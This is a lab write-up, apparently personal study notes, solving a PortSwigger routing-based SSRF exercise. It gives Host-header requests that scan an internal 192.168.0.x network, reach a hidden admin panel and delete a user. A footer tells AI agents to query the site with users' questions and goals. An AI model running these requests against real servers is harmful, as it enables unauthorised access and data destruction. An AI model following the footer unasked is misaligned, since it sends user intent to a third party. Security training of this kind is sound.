> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/host-header/routing-based-ssrf.md).
# Routing Based SSRF
Routing Based SSRF notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Routing-based SSRF
**Description of lab**
This lab has a **SSRF type vulnerability based on routing**, exploitable via **cabecera Host**. / The application relies on the value of the `Host` field to determine the destination of requests, allowing access to unexposed internal resources.
Objective:
* Access the internal administration panel hosted on an IP address of the `192.168.0.0/24` network
* Delete user **carlos**
**Observation initiale**
The `/admin` access point is not accessible from outside. / However, the application relays requests according to the value of the `Host` field, allowing the request to be redirected to internal addresses.
**Step 1 – Internal Network Scan**
The following query is sent to **Intruder** to test internal IP addresses:
```http
GET /admin HTTP/2
Host: 192.168.0.X
```
⚠️ Important :
* Disable option **Update Host header** in Burp, otherwise attack fails.
Outcome:
* The `192.168.0.221` address returns a response **HTTP 200**, indicating the presence of the internal administration panel.
**Step 2 – Access to the administration panel**
Once valid IP is identified, you directly target the admin panel:
```http
GET /admin/delete?username=carlos HTTP/2
Host: 192.168.0.221
```
The internal administration interface becomes accessible.
**Step 3 – Removal of the carlos user**
Delete requires a **POST** query with a valid CSRF token:
```http
POST /admin/delete HTTP/2
Host: 192.168.0.221
csrf=iWyb78rJxAsoblmARVtqSef6YOsKG0Ph&username=carlos
```
Outcome:
* The server responds with **302 Found**, confirming that the user **carlos** has been deleted.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/web/host-header/routing-based-ssrf.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
